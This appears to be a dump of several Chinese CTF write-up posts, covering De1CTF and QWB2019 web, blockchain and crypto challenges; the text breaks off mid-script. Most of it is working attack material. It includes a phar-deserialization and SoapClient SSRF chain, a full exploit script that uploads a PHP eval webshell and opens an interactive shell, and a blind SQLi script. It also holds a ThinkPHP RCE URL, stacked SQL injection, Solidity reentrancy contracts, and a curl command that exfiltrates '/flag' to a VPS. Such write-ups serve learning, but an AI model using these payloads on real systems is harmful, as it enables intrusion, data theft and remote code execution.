if(isset($_POST['admin'])){ $ip = $_POST['ip']; //你用来获取flag的服务器ip $port = $_POST['port']; //你用来获取flag的服务器端口 $clazz = $_POST['clazz']; $func1 = $_POST['func1']; $func2 = $_POST['func2']; $func3 = $_POST['func3']; $arg1 = $_POST['arg1']; $arg2 = $_POST['arg2']; $arg2 = $_POST['arg3']; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); }}else { echo \"You r not admin!\"; 那么需要找到一个ssrf来获取flag。继续审计 12345function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo);} finfo_file函数可以触发phar反序列化,而filename又完全可控。那么思路就是finfo_file触发反序列化,利用SoapClient类来ssrf访问admin.php获取flag。问题来了 123456789101112include 'class.php';if (isset($_POST[\"submit\"]) && isset($_POST[\"url\"])) { if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\\\s)*|(.|\\\\s)*(file|data|\\.\\.)(.|\\\\s)*/i',$_POST['url'])){ die(\"Go away!\"); }else{ $file_path = $_POST['url']; $file = new File($file_path); $file->getMIME(); echo \"<p>Your file type is '$file' </p>\"; }} 这里过滤了众多协议,测试发现这个正则只是不让在文件开头使用phar,那么我可以用例如compress.bzip2://phar://来绕过正则。参考(https://xz.aliyun.com/t/2958)但是compress.bzip2也被过滤了。。接下来陷入漫长的fuzz过程中。找到了另一个可以用的Wrapper —— php://filter构造 1php://filter/resource=phar:// 来绕过正则,实现phar反序列化生成phar的脚本,改编自wupco大佬 123456789101112131415161718192021222324252627<?phpclass File { public $file_name = \"\"; public $func = \"SoapClient\"; function __construct(){ $target = \"http://127.0.0.1/admin.php\"; $post_string = 'admin=&ip=your_ip&port=your_port&clazz=SplStack&func1=push&func2=push&func3=push&arg1=1&arg2=1&arg3=1'. \"\"; $headers = []; $ua=str_replace(\"^^\",\"\\r\\n\",'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string); $this->file_name = [ null, array('location' => $target, 'user_agent'=> $ua, 'uri'=>'altman') ]; }}$aaa=new File();$phar = new Phar(\"phar.phar\");$phar->startBuffering();$phar->setStub(\"GIFphp __HALT_COMPILER(); ?>\"); //设置stub$phar->setMetadata($aaa); //将自定义meta-data存入manifest$phar->addFromString(\"test.txt\", \"test\"); //添加要压缩的文件$phar->stopBuffering();?> 生成后修改phar文件后缀为jpg,然后上传得到路径。再去func.php触发反序列化 1php://filter/resource=phar://upload/a87136ce5a8b85871f1d0b6b2add38d2/032b2cc936860b03048302d991c3498f.jpg 在端口收到flag。 Cocktail’s Remix(赛后做出)扫到robots.txt,给了一处任意文件下载。一番读文件找到了数据库的账户密码。尝试gopher打mysql失败。读取info.php发现一个奇怪的mod将其下载下来 1/usr/lib/apache2/modules/mod_cocktail.so 然后逆出来找到一个后门(别问我,不会逆)后门在heads中的Reffer。将命令b64后传递即可执行。 一番寻找没找到flag,想起来mysql。想写入一个shell做代理连接mysql,但是发现没有写权限。于是直接执行 1mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e \"show databases;use flag;show tables;select * from flag;\" > /tmp/1.txt 然后在1.txt中读取flag","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"De1ctf_web","slug":"De1ctf-web","date":"2019-08-04T16:12:08.000Z","updated":"2020-05-14T03:20:31.401Z","comments":true,"path":"2019/08/05/De1ctf-web/","link":"","permalink":"http://altman.vip/2019/08/05/De1ctf-web/","excerpt":"周末打了De1ctf_web,总结下web题解。还差一道9clac不会做,等做出来了再补上。","text":"周末打了De1ctf_web,总结下web题解。还差一道9clac不会做,等做出来了再补上。 SSRF ME代码审计,先通逻辑首先会有md5的验证 12345def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False 这里利用hash长度拓展攻击,不再详述。验证成功后利用scan函数来读取 123456def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return \"Connection Timeout\" 但是不能以file和gopher作为开头 123456def waf(param): check=param.strip().lower() if check.startswith(\"gopher\") or check.startswith(\"file\"): return True else: return False 查询资料发现了绕过方法https://bugs.python.org/issue35907可以利用local_file:///etc/passwd来绕过不能以file开头的限制。编写脚本实现攻击。 123456789101112131415import hashpumpyimport requestsimport urlliburl = 'local_file:flag.txt'r = requests.get('http://139.180.128.86/geneSign?param='+url)sign = r.texthash_sign = hashpumpy.hashpump(sign, url + 'scan', 'read', 16)cookies={ 'sign': hash_sign[0], 'action': urllib.quote(hash_sign[1][len(url):])}r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)print r.content 直接读取到flag ShellShellShell第一层发现是Nu1Lctf原题https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540拿来脚本改一改成功getshell 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162import reimport sysimport stringimport randomimport requestsimport subprocessfrom itertools import productimport hackhttp_target = 'http://123.207.72.148:11027/'_action = _target + 'index.php?action='hh = hackhttp.hackhttp()def get_creds(): username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) return username, passworddef solve_code(html): code = re.search(r'Code\\(substr\\(md5\\(\\?\\), 0, 5\\) === ([0-9a-f]{5})\\)', html).group(1) solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2] return solutiondef register(username, password): resp = sess.get(_action+'register') code = solve_code(resp.text) sess.post(_action+'register', data={'username':username,'password':password,'code':code}) return Truedef login(username, password): resp = sess.get(_action+'login') code = solve_code(resp.text) sess.post(_action+'login', data={'username':username,'password':password,'code':code}) return Truedef publish(sig, mood): return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})def get_prc_now(): # date_default_timezone_set(\"PRC\") is not important return subprocess.check_output(['php', '-r', 'date_default_timezone_set(\"PRC\"); echo time();'])def get_admin_session(): sess = requests.Session() resp = sess.get(_action+'login') code = solve_code(resp.text) return sess.cookies.get_dict()['PHPSESSID'], codedef brute_filename(prefix, ts, sessid): ds = [''.join(i) for i in product(string.digits, repeat=3)] ds += [''.join(i) for i in product(string.digits, repeat=2)] # find uploaded file in max 1100 requests for d in ds: f = prefix + ts + d + '.jpg' resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid}) if resp.status_code == 200: return f return Falseprint '[+] creating user session to trigger ssrf'sess = requests.Session()username, password = get_creds()print '[+] register({}, {})'.format(username, password)register(username, password)print '[+] login({}, {})'.format(username, password)login(username, password)print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']print '[+] getting fresh session to be authenticated as admin'phpsessid, code = get_admin_session()ssrf = 'http://127.0.0.1/\\x0d\\x0aContent-Length:0\\x0d\\x0a\\x0d\\x0a\\x0d\\x0aPOST /index.php?action=login HTTP/1.1\\x0d\\x0aHost: 127.0.0.1\\x0d\\x0aCookie: PHPSESSID={}\\x0d\\x0aContent-Type: application/x-www-form-urlencoded\\x0d\\x0aContent-Length: 46\\x0d\\x0a\\x0d\\x0ausername=admin&password=jaivypassword&code={}\\x0d\\x0a\\x0d\\x0aPOST /foo\\x0d\\x0a'.format(phpsessid, code)mood = 'O:10:\\\"SoapClient\\\":4:{{s:3:\\\"uri\\\";s:{}:\\\"{}\\\";s:8:\\\"location\\\";s:39:\\\"http://127.0.0.1/index.php?action=login\\\";s:15:\\\"_stream_context\\\";i:0;s:13:\\\"_soap_version\\\";i:1;}}'.format(len(ssrf), ssrf)mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))payload = 'a`, {}); -- -'.format(mood)print '[+] final sqli/ssrf payload: ' + payloadprint '[+] injecting payload through sqli'resp = publish(payload, '0')print '[+] triggering object deserialization -> ssrf'sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})print '[+] admin session => ' + phpsessid# switching to admin sessionsess = requests.Session()sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})print '[+] uploading stager'raw = \"\"\"POST /index.php?action=publish HTTP/1.1Host: 123.207.72.148:11027User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://45.76.187.90:11027/index.php?action=publishCookie: PHPSESSID={0}Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------324569584432534908382053661Content-Length: 246-----------------------------324569584432534908382053661Content-Disposition: form-data; name=\"pic\"; filename=\"fh.php\"Content-Type: image/jpeg<?php eval($_REQUEST['a']); ?>-----------------------------324569584432534908382053661--\"\"\".format(phpsessid)url = _action + \"publish\"code, head, html, redirect, log = hh.http(url, raw=raw)if 'success' not in html: print '[-] failed to upload shell, check admin session manually' sys.exit(0)shell = _target+'/upload/fh.php'print '[+] shell => {}\\n'.format(shell)while True: cmd = raw_input('$ ').strip() if cmd == 'exit' or cmd == 'quit': break resp = requests.get('{}?a=system(\"{}\");'.format(shell, cmd)) print resp.text 内网getshell后没有发现flag,根据题目提示需要打内网,通过reGeorg挂上代理。在172.18.0.2找到了另外一个web服务。 12345678910111213141516171819202122232425262728293031323334353637<?php $sandbox = '/var/sandbox/' . md5(\"prefix\" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if($_FILES['file']['name']) { $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name']; if (!is_array($filename)) { $filename = explode('.', $filename); } $ext = end($filename); if($ext==$filename[count($filename) - 1]) { die(\"try again!!!\"); } $new_name = (string)rand(100,999).\".\".$ext; move_uploaded_file($_FILES['file']['tmp_name'],$new_name); $_ = $_POST['hello']; if(@substr(file($_)[0],0,6)==='@<?php') { if(strpos($_,$new_name)===false) { include($_); } else { echo \"you can do it!\"; } } unlink($new_name); } else { highlight_file(__FILE__); } 好像也是原题的样子。。https://cloud.tencent.com/developer/article/1360551构造payload直接打利用/../altman1.php绕过随机文件名和删除 Giftbox首先找到一处注入![](./De1ctf-web/屏幕快照 2019-08-05 10.52.55.png)尝试脚本盲注发现服务端有pyotp的认证。去JS中寻找实现方法。在main.js中又发现 1OTP Library for Python located in js/pyotp.zip 讲pyoyp模块下载下来安装,python脚本构造验证,盲注脚本如下 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263#!/usr/bin/env python3# -*- coding: utf-8 -*-import requestsimport pyotp as pyotptotp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)def main(): get_all_databases()def http_get(payload): r = requests.post('http://222.85.25.41:8090/shell.php', params={'a': 'login admin\\'/**/and/**/(' + payload + ')/**/and/**/\\'1\\'=\\'1 admin', 'totp': totp.now()}, data={'dir': '/', 'pos': '/', 'filename': 'usage.md'}) print('login admin\\'/**/and/**/(' + payload + ')/**/and/**/\\'1\\'=\\'1 admin') print(r.text) if 'password' in r.text: return True else: return False# 获取数据库def get_all_databases(): # db_nums_payload = \"select/**/count(*)/**/from/**/user\" # db_numbers = half(db_nums_payload) # print(\"长度为:%d\" % db_numbers) db_payload = \"select/**/concat(password)/**/from/**/users\" db_name = \"\" for y in range(1, 64): db_name_payload = \"ascii(substr((\" + db_payload + \"),%d,1))\" % ( y) db_name += chr(half(db_name_payload)) print(\"值:\" + db_name)# 二分法函数def half(payload): low = 0 high = 126 # print(standard_html) while low <= high: mid = (low + high) / 2 mid_num_payload = \"%s/**/>/**/%d\" % (payload, mid) # print(mid_num_payload) # print(mid_html) if http_get(mid_num_payload): low = mid + 1 else: high = mid - 1 mid_num = int((low + high + 1) / 2) return mid_numif __name__ == '__main__': main() 爆破出admin的密码为hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}登录上去,并且根据提示查看并发现提示 123456789[De1ta Nuclear Missile Controlling System] login [username] [password] logout launch targeting [code] [position] destruct Besides, there are some hidden commands, try to find them! 下面就是php沙盒绕过了。taget命令赋值,launch执行赋值命令。经过fuzz只有下面的值可用 1#$&()+,-.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{} 构造字符串的执行执行phpinfo并在response中找到回显phpinfo中发现disable_function和open_basedir.根据 https://xz.aliyun.com/t/4720 绕过open_basedir。base64编码绕过对某些字符的过滤。构成最终的payload 12345678910111213141516171819202122targeting a chdirtargeting b csstargeting c {$a($b)}targeting d ini_settargeting e open_basedirtargeting f ..targeting g {$d($e,$f)}targeting h {$a($f)}targeting i {$a($f)}targeting j base64_targeting k decodetargeting l $j$ktargeting m Ly8vtargeting n {$l($m)}targeting o {$d($e,$n)}targeting p print_rtargeting q file_get_targeting r contentstargeting s $q$rtargeting t flagtargeting u {$p($s($t))}launch cloudmusic国赛决赛题目升级版攻击流程和原题差不太多,见 https://github.com/impakho/ciscn2019_final_web1这里主要说下与原题的区别。 读取文件读取文件的地方增加了对.php的过滤,但是返回值给了提示urlencode。尝试url编码后再base64编码,成功绕过,任意文件读取。 溢出长度在原题的exp基础上修改溢出长度 1234567891011121314151617def upload_music(): url = site_url + '/hotload.php?page=upload' data = {'file_id': '0'} music = preset_music[:0x6] + '\\x00\\x00\\x03\\x00' + preset_music[0x0a:0x53] music += '\\x00\\x00\\x03\\x00' + '\\x00\\x00\\x03' + 'a' * 0x70 + '\\x00' files = {'file_data': music} if logging: print(url) if logging: print(data) res = post(1, url, data, files) if logging: print(res.text) if '\"status\":1' in res.text: try: # n54LuyJyYLVpVO2w return b64decode(json.loads(res.content.strip())['artist'])[:16] except: return '' return '' 溢出得到密码 getshell读取/include/firmware.php,贴上php部分。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091<?phpif (!isset($_SESSION['user'])||strlen($_SESSION['user'])<=0){ ob_end_clean(); header('Location: /hotload.php?page=login&err=1'); die();}if ($_SESSION['role']!='admin'){ $padding='Lorem ipsum dolor sit amet, consectetur adipisicing elit.'; for($i=0;$i<10;$i++) $padding.=$padding; die('<div><div class=\"container\" style=\"margin-top:30px\"><h3 style=\"color:red;margin-bottom:15px;\">Only admin is permitted.</h3></div><p style=\"visibility: hidden\">'.$padding.'</p></div>');}if (isset($_FILES[\"file_data\"])){ if ($_FILES[\"file_data\"][\"error\"] > 0||$_FILES[\"file_data\"][\"size\"] > 1024*1024*1){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'upload err, maximum file size is 1MB.'))); }else{ mt_srand(time()); $firmware_filename=md5(mt_rand().$_SERVER['REMOTE_ADDR']); $firmware_filename=__DIR__.\"/../uploads/firmware/\".$firmware_filename.\".elf\"; if (time()-$_SESSION['timestamp']<3){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'too fast, try later.'))); } $_SESSION['timestamp']=time(); move_uploaded_file($_FILES[\"file_data\"][\"tmp_name\"], $firmware_filename); $handle = fopen($firmware_filename, \"rb\"); if ($handle==FALSE){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'upload err, unknown fault.'))); } $flags = fread($handle, 4); fclose($handle); if ($flags!==\"\\x7fELF\"){ unlink($firmware_filename); ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'upload err, not a valid elf file.'))); } ob_end_clean(); die(json_encode(array('status'=>1,'info'=>'upload succ.'))); }}else{ if (isset($_SERVER['CONTENT_TYPE'])){ if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'upload err, maximum file size is 1MB.'))); } }}@$path=$_POST['path'];function clean_string($str){ $str=str_replace(\"\\\\\",\"\",$str); $str=str_replace(\"/\",\"\",$str); $str=str_replace(\".\",\"\",$str); $str=str_replace(\";\",\"\",$str); return substr($str,0,32);}if (isset($path)){ $path=clean_string(trim((string) $path)); if (strlen($path)<=0||strlen($path)>64){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'Format or length check failed.'))); }else{ $firmware_filename=__DIR__.\"/../uploads/firmware/\".$path.\".elf\"; if (!file_exists($firmware_filename)){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'File not found.'))); }else{ try{ $elf = FFI::cdef(\" extern char * version; \", $firmware_filename); $version=(string) FFI::string($elf->version); if ($version === \"cloudmusic_rev\"){ ob_end_clean(); die(json_encode(array('status'=>1,'info'=>'Firmware version is cloudmusic_rev.'))); }else{ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'Bad version.'))); } }catch(Error $e){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'Fail when loading firmware.'))); } } }}?> 与原题两个区别 文件名方式变了,我们换一种爆破房时即可。 固件被加载后,执行内容不会返回了。选择用curl讲执行结果带出。修改payload,继续使用原题中的exp。将exp中的ls替换为 curl http://vps:2333/?a=`/usr/bin/tac /flag|base64`修改爆破文件名的方式执行后在vps上收到flag的base64编码,解码得到flagde1ctf{W3b_ANND_PWNNN_C1ou9mus1c_revvvv11}","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"QWB2019_writeup","slug":"QWB2019-writeup","date":"2019-05-28T05:07:01.000Z","updated":"2019-08-01T08:50:32.893Z","comments":true,"path":"2019/05/28/QWB2019-writeup/","link":"","permalink":"http://altman.vip/2019/05/28/QWB2019-writeup/","excerpt":"WEBupload审计分析先收集信息,找到源代码www.tar.gz开始代码审计。每个控制器中都定义了类,尝试寻找反序列化的点。在login中发现cookie的序列化过程","text":"WEBupload审计分析先收集信息,找到源代码www.tar.gz开始代码审计。每个控制器中都定义了类,尝试寻找反序列化的点。在login中发现cookie的序列化过程 1234if (md5($password) === $user_info['password']) { $cookie_data=base64_encode(serialize($user_info)); cookie(\"user\",$cookie_data,3600); $this->success('Login successful!', url('../home')); 又在logincheck函数中发现了反序列化的点 123456789101112public function login_check(){ $profile=cookie('user'); if(!empty($profile)){ $this->profile=unserialize(base64_decode($profile)); $this->profile_db=db('user')->where(\"ID\",intval($this->profile['ID']))->find(); if(array_diff($this->profile_db,$this->profile)==null){ return 1; }else{ return 0; } } } 反序列话的参数可以控制,接下来寻找可用的类。继续审计注意到Profile类中有 1@copy($this->filename_tmp, $this->filename); 在我们上传文件时,最终生成的文件是文件名的md5加上png后缀 12345if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).\".png\"; $this->ext_check(); } 但是如果我们在不上传文件的情况下,既empty($_FILES)=1时调用upload_img()函数,就可以控制文件名后缀了。下面构造攻击链注意到register中 123456public function __destruct() { if(!$this->registed){ $this->checker->index(); } } 这里调用了index()方法,那么我们可以用他来触发_call,而Profile中的_call方法可以触发_get, 12345678910public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }public function __get($name) { return $this->except[$name]; } 而我们只要控制好except的值,就可以调用任意方法。 那么我们攻击链就很明显了 1234Register->__destructProfile-> __callProfile-> __getProfile-> upload_img() 控制filename参数,讲我们上传的内容重命名后缀。生成序列化脚本 12345678910111213141516171819202122232425<?phpnamespace app\\web\\controller;class Register{ public $checker; public $registed;}class Profile{ public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except;}$a=new Register();$a->registed=0;$a->checker=new Profile();$a->checker->except=array('index'=>'upload_img');$a->checker->ext=1;$a->checker->filename_tmp=\"./upload/08856017fa6b6b422db719c5519123dc/da5402f0aef9e4efbb5a9c9bb8566e7b.png\";$a->checker->filename=\"./upload/altman.php\";echo base64_encode(serialize($a)); 开始操作先上传一个带有恶意代码的png图片上去,然后在源代码找到图片地址。 然后讲cookie替换成生成的序列化数据 刷新后访问首页。之后再去访问刚才图片发现已经被删除了,访问altman.php后缀发现代码成功执行,getshell。然后根目录拿flag就行了。 高明的黑客下载源码拿到上千个混淆文件,每个文件又有许多参数。猜测应该会有一个文件中有存在命令执行,尝试本地进行爆破使用eval和system都能执行的命令echo来测试 1234567891011121314151617181920212223# -*- coding:utf-8 -*-# -*- author:altman -*-import osimport reimport requestsurl=\"http://127.0.0.1/web2/\"rr = re.compile(r'(_GET\\[\\')(.*)(\\'\\])')cmd=\"echo 66666;\"file=os.listdir('/Users/a1tm4nz/site/web2/')for i in file: url1 = \"http://127.0.0.1/web2/\"+i x=open('/Users/a1tm4nz/site/web2/'+i) content=x.read() get=rr.findall(content) for j in get: url2=url1+\"?\"+j[1]+\"=\"+cmd r=requests.get(url=url2) print url2 if \"66666\" in r.content: print \"GET it\" print url2 exit() 爆破了6分钟后果然找到了一个可以执行命令的地方 然后执行命令拿到flag 随便注随手测试发现过滤这些内容 1return preg_match(\"/select|update|delete|drop|insert|where|\\./i\", $inject); 过滤了select和. 正常的注入思路基本行不通。发现可以堆叠注入。尝试 1?inject=1%27;show tables; 得到表名 又通过 1?inject=1%27;show%20create%20table%20`1919810931114514`; 得到表结构 然后就卡住了很久。发现没有过滤alter因此可以通过修改表结构和表名的来让页面直接查询flag。 1';alter table words rename xxx;alter table `1919810931114514` rename words;# 此时把flag所在表改名成words,回到首页直接查询发现报错,缺少id字段。重置环境,给表中加入id字段 1';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;# 再查询。 护网先锋上单看log后便知是一个tp5.3 below命令执行只用log中的poc去打就行了 1http://49.4.23.26:31960/1/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag CRYPTOBABYBANK我们通过合约地址进行逆向得到合约的逆向代码(https://ethervm.io/decompile/) 由代码分析我们得出代码中的关键函数分别为:guess、profit、transfer、withdraw。且合约中存在两个关键变量:balance(余额)以及level(一种标记)。在审计合约之后我们发现profit函数:每个账户只允许调用一次,并发送钱包1 token;guess函数需要level值为1且调用后余额+1、leve+1 ;而transfer函数满足必须balance与level同时为2才能调用,且调用后收款方余额变为2,且转账方余额变为0 ;withdraw函数表示取款,且合约会将以太币转给msg.sender。然而漏洞点就在withdraw中。熟悉区块链的人都知道此处使用.call方法进行转账,而这种方法会调用收款方的fallback函数,从而引发重入攻击。于是我们利用此来进行攻击。我们还看到withdraw中还存在如下方法: 当存在减法且没有判断时,我们就可以认定这里存在溢出,然而要满足溢出条件需要storage[temp2]<temp1。可是前面代码加了判断,所以我们需要在中间调用.call时进行对余额的操作从而让其减小。我们可以在合约调用如下句子的时候调用收款人的fallback函数从而再次执行withdraw,加入合约余额为2,转账金额设置为2。而在中间进行调用可以很好的绕过余额的检测,从而达成2-2-2的情况,从而溢出。贴上攻击合约 1234567891011121314151617181920212223242526272829303132contract hack{ babybank a; uint count = 0; event log(uint256); constructor(address b)public{ a = babybank(b); } function () public payable { if(count==2){ log(3); }else{ count = count + 1; a.withdraw(2); log(1); } } function getMoney() public payable{} function hacker() public{ a.withdraw(2); log(2); } function payforflag1(string md5ofteamtoken,string b64email) public{ a.payforflag(md5ofteamtoken,b64email); } function kill() { selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c); } } 1 由于合约本身没有以太币,所以我们先生成合约A调用自杀函数给题目转钱。2 进行转账操作,我们使用账户B分别调用profit()、guess()、transfer()给C账户转2token。3 当C有了2token便可以进行攻击,调用hacker函数即可。PS:由于合约需要前四位为“b1b1”的账户,所以我们需要https://vanity-eth.tk/来生成相应的账户B。 调动成功后在邮箱收到flag babybet给了部分合约代码 1234567891011121314151617181920212223242526272829pragma solidity ^0.4.23;contract babybet { mapping(address => uint) public balance; mapping(address => uint) public status; address owner; //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. //Gmail is ok. 163 and qq may have some problems. event sendflag(string md5ofteamtoken,string b64email); constructor()public{ owner = msg.sender; balance[msg.sender]=1000000; } //pay for flag function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] >= 1000000); if (msg.sender!=owner){ balance[msg.sender]=0;} owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); } modifier onlyOwner(){ require(msg.sender == owner); _; } 逆向合约,得到关键函数:profit、bet、func_048F(转账函数)。发现此问题相比上一道题利用方法更为简单。首先调用profit函数获得空投10 token。之后进入bet函数,而bet函数有如下判断:首先余额要>=10 、status要小于2、传入的参数要与随机数相同,之后便会给与此账户1000代币,并将status改为2 。于是我们的函数调用顺序为:创建新合约账户A,调用profit、预测随机数调用guess、调用转账函数汇总token。合约要求代币要>1000000,所以上述薅羊毛过程需要重复1000次,并汇总到一个账户中。具体合约如下: 123456789101112131415161718192021222324252627282930contract midContract { babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A); function process() public { target.profit(); bytes32 guess = block.blockhash(block.number - 0x01); uint guess1 = uint(guess) % 0x03; target.bet(guess1); } function transfer(address a, uint b) public{ // target.func_048F(a,b); bytes4 method = 0xf0d25268; target.call(method,a,b); selfdestruct(); }}contract hack { // babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);function ffff() public { for(int i=0;i<=20;i++){ midContract mid = new midContract(); mid.process(); mid.transfer(\"0x9b9a30b7df47b9dbe0ec7d4bd52aaae4465f2ebe\",1000); } }} 每次生成新合约,循环20次,所以此合约执行50次即可。记得将gas limit调大。预测十分简单,即使用一下语句即可 调用后拿到flag 强网先锋_辅助公因数 1234567891011121314151617181920212223242526import gmpy2import libnumn1=14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727n2=14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979c1=2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597c2=3829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925798224328175594483217938833520220087230303470138525970468915511111320396185482564783975435346354440035776909781158407636044986403819840648379609630039348895415045723208843631191252142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760844037149719587269632133595149294067490955644893402708720284179715002149224068928828656515326446881791228638008572889331511945042911372915003805505412099102954073299010951896955362470e1=65537e2=65537q=gmpy2.gcd(n1,n2)p1=n1//qp2=n2//qd1=gmpy2.invert(e1,(p1-1)*(q-1))d2=gmpy2.invert(e2,(p2-1)*(q-1))while d1<0: d1+=(p1-1)*(q-1)while d2<0: d2+=(p2-1)*(q-1)m2=pow(c2,d2,n2)m1=pow(c1,d1,n1)print libnum.n2s(m2)print libnum.n2s(m1) copperstudyRSA大礼包,一共六关 challenge112345678910[+]Generating challenge 1[+]n=0xa1888c641a05aeb81b3d1686317a86f104791fe1d570a5b11209f45d09ea401d255a70744e7a2d39520e359c23a9f1209ee47f496dbd279e62ee1648b3a277ced8825298274322e0a7a86deea282676310a73b6bb946fc924c34ac6c8784ff559bf9a004c03fb167ef54aaea90ce587f2f3074b40d7f632022ec8fb12e659953L[+]e=3[+]m=random.getrandbits(512)[+]c=pow(m,e,n)=0x93145ece45f416a11e5e9475518f165365456183c361500c2f78aff263028c90f20b7d97205f54e21f3bcc8a556b457889fde3719d0a0f9c9646f3f0d0a1e4bee0f259f023168fe8cc0511848c1635022fcc20b6088084585e2f8055a9d1b1d6bdb228087900bf7c6d42298f8e45c451562c816e2303990834c94e580bf0cbd1L[+]((m>>72)<<72)=0x9e67d3a220a3dcf6fc4742052621f543b8c78d5d9813e69272e65ac676672446e5c88887e8bfdfc92ec87ec74c16350e6b539e3bd910b000000000000000000L# 70841b8fe11fd1872e# 9e67d3a220a3dcf6fc4742052621f543b8c78d5d9813e69272e65ac676672446e5c88887e8bfdfc92ec87ec74c16350e6b539e3bd910b70841b8fe11fd1872eL Lattice based attacks已知明文高位的攻击直接上脚本 123456789e = 0x3b = 0x9e67d3a220a3dcf6fc4742052621f543b8c78d5d9813e69272e65ac676672446e5c88887e8bfdfc92ec87ec74c16350e6b539e3bd910b000000000000000000Ln = 